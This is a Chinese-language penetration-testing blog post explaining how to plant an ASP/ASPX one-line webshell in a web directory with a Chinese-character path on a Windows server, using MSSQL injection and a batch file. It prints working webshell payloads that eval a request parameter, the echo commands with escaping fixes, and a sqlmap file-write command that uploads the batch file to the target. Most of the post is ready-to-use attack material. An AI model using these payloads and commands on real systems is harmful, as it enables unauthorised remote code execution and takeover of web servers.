MSSQL利用批處理寫馬至中文路徑
VSole2021-10-29 16:18:08
0x01 前言
上周在先知社區看到@Xgstar師傅寫的《SQLserver寫Webshell總結-突破中文路徑》文章中提到一個利用批處理寫Webshell至中文路徑的思路,但最后他并沒有成功利用這個思路寫入Webshell。
因為之前也寫過這類場景的利用思路,所以就想對他提到的這個思路以及遇到的問題簡單測試下,關于更多寫Webshell至中文路徑的思路可參考我之前寫的《MSSQL高權限注入寫馬至中文路徑》。
0x02 通過批處理文件寫馬
按照他的思路我們先在本地創建一個用于寫一句話木馬的批處理文件,不過得將該文件編碼改為ANSI或GB2312(默認UTF-8),因為xp_cmdshell調用的cmd.exe命令終端的編碼是GBK。
寫ASP一句話:echo ^<%eval request("xxxasec")%^> >C:\inetpub\wwwroot\中文測試\shell.asp
寫ASPX一句話:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文測試\shell.aspx

接著再利用sqlmap --file-write、--file-dest參數或者Windows自帶的certutil等程序將這個寫馬批處理文件落地到目標磁盤中,再用type看下文件中的中文字符是否還會出現亂碼?
sqlmap -u "http://192.168.56.102/sql.aspx?id=1" --batch --file-write /tmp/shell.bat -file-dest C:\\ProgramData\\shell.bat


上圖中可以看到已經沒有亂碼了,但是在執行這個批處理文件寫馬時又出現了一點問題。
一句話木馬文件是已經寫進去了,但是已經不成樣了,如下圖,為什么會這樣呢?我們繼續往下看!

作者說是%與批處理不兼容的問題,其實就是一句話木馬中的%......%被批處理當作行間注釋了,不能出現>重定向符號和|管道符號,這時我們可以用兩個%百分號來解決這個問題。
寫ASP一句話:echo ^<%%eval request("xxxasec")%%^> >C:\inetpub\wwwroot\中文測試\shell.asp
寫ASPX一句話:echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文測試\shell.aspx

將以上進行轉義過的寫一句話木馬的批處理文件再次通過sqlmap --file-write、--file-dest的方式上傳至目標磁盤中并執行。
這時可以看到已經成功將一句話木馬寫入至中文路徑了。

0x03 需要注意的幾個地方
- 命令行寫Webshell時得在<>尖括號前用^轉義:
^<^>; - 批處理寫Webshell時得在%百分號前用%轉義:
%%1%%2; - sqlmap --file-write、--file-dest寫入文件時路徑得用
\\雙斜杠;
VSole
網絡安全專家